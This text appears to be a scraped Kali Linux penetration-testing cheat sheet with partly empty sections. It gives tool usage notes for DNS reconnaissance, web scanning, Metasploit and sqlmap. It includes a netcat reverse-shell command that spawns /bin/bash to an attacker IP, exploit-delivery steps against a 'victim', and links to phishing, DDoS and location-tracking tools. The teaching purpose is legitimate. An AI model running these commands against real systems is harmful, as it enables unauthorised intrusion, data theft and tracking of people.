Professional Documents
Culture Documents
Unwrapping Tools
Unwrapping Tools
Kali linux
DEPENDENCIES
DOCKER
Docker is used for running containers. Image file comes with all dependencies installed,
so no errors while running a specific tool.
Installation:
0
If you want to use docker next time, first START and ENABLE docker.
METASPLOITABLE
Installation:
RECONNAISSANCE
1
★ NS LOOKUP
★ Sudomy ( subdomain finder )
★ Cupp
★ Httpx
★ Bhedak
★ 403 bypasser
★ uncover
★ https://github.com/mishakorzik/Free-Proxy
★ https://github.com/mishakorzik/UserFinder
★ Host
★ Dig
★ WHOIS
★ FOCA
★ ExifTool
★ theHarvester
★ shodan
★ Maltego
★ recon-ng
★ censys
★ Netcat
★ dnsrecon
★ Sublist3r
DNS ANALYSIS
DNS Analysis is mainly done for getting DNS INFRASTRUCTURE details. Based on these
details, you can create a profile of the victim.
DNSRECON
dnsrecon is a powerful tool used for DNS reconnaissance and enumeration. Its primary
purpose is to gather information about DNS (Domain Name System) records associated
with a particular domain. Here's what dnsrecon is typically used for:
Discovering DNS Records: It scans and enumerates different types of DNS records
2
associated with a domain, such as SOA, NS, A, AAAA, MX, TXT, and more.
Identifying Name Servers: Finding the authoritative name servers responsible for a
domain.
Record Types: Obtains various types of DNS records associated with the domain, such as
address records, mail exchange records, name server records, and service records.
FIERCE
● Fierce tools are also used for the same purpose. Getting dns information
● Fierce –domain <h4cker.org>
● Along with dns info, you'll get a subdomain list.
DNSENUM
● This tool is also the same as dnsrecon. You'll get associated ip addresses,
subdomains, name servers….
● Dnsenum –enum <h4cker.org>
wafw00f
3
Identify and fingerprint web application firewall products.
SCANNING
NESSUS
Installation
4
● Wait for the scan to be complete. After checking the scan results.
● Click on REPORT for generating a scan report.
DIRB
Use this tool for scanning the existing directories on the website.
NIKTO
UNISCAN
● Now, just by typing uniscan, we can get the help of uniscan and see all these
options are available;
● h for help, then -u specify the url and -f list of urls, -b uniscan to go to background
● -q enable directory checks, -w check file, -e enable robots.txt file and sitemap.xml
file check, -t enable dynamic check, -s enable static check, -r enable stress check, -i
it search in Bing, -o search in Google, -g find out the web fingerprint, -j server
fingerprint.
● uniscan -u testphp.vulnweb.com -qwodsrgj
WIRELESS HACKING
SOCIAL ENGINEERING
5
PASSWORD CRACKING
EXPLOITATION
● Xsser
● Armitage ( metasploit gui version )
Creating backdoors/shells
METASPLOIT
Metasploit is one of the most powerful and widely used tools for penetration testing.
Installation
Basic usage
6
● Interact with a module by name or index. For example info 1232, use 1232 or use
auxiliary/dos/http/ws_dos
● Now see options for that module and make settings - show options
● Depending on the options, set hosts and ports - set rhosts <victim ip address>, set
rport <victim ip address>
● Now deliver the exploit to the victim - exploit
● Each Metasploit module has a set of options which must be set before running.
These can be seen with the show options or options command
● Each Metasploit module also has advanced options, which can often be useful for
fine-tuning modules
● You can see which options still options to be set with the show missing command
Creating payload
NETCAT
7
Here, we are using NETCAT for creating BIND & REVERSE shells.
BIND SHELL:
REVERSE SHELL:
A reverse shell is a vulnerability in which an attacking system has a listener (port open),
and the victim initiates a connection back to the attacking system.
One of the challenges of using bind shells is that if the victim’s system is behind a
firewall, the listening port might be blocked. However, if the victim’s system can
initiate a connection to the attacking system on a given port, a reverse shell can be
used to overcome this challenge.
● Now create a reverse shell. Type this command in attacker machine -nc -lvp 666
● Now connect to that listener, type this command in attacker system - nc < attacker
ip > 666 -e /bin/bash
● Now view files and execute commands.
SQLMAP
8
to this mode of SQL injection, and an attacker may be able to gain access to
information in the database. Furthermore, SQLMAP works when it is php based.
● Install sql map - sudo apt-get install sqlmap
● Check for help - sqlmap -h
● For sqlmap to work, you should give a URL with input query parameters.
● First, you should know the information about existing database - sqlmap -u
http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs
2. If the GET parameter is dynamic, you'll be asked for a HEURISTIC TEST, go with
that!
9
POST-EXPLOITATION
REVERSE ENGINEERING
REPORTING
MISCELLANEOUS
10
★ Maxphisher https://github.com/KasRoudra/MaxPhisher
★ Hacking toolkit https://github.com/CodingRanjith/hackingtoolkit
★ Evil limiter https://github.com/bitbrute/evillimiter
★ Iky https://github.com/kennbroorg/iKy
★ Cupp https://github.com/Mebus/cupp
★ DDoS attack
★ GITTOOL
★ Xerosploit
★ Rapidscan
★ Seeker
(https://medium.com/@aalam-info-solutions-llp/get-someones-location-by-using-se
eker-3160b8887e5)
★ Subjack, subfinder
★ https://github.com/kancotdiq/wpaf
https://0xcybery.github.io/blog/hacking-with-pdf
11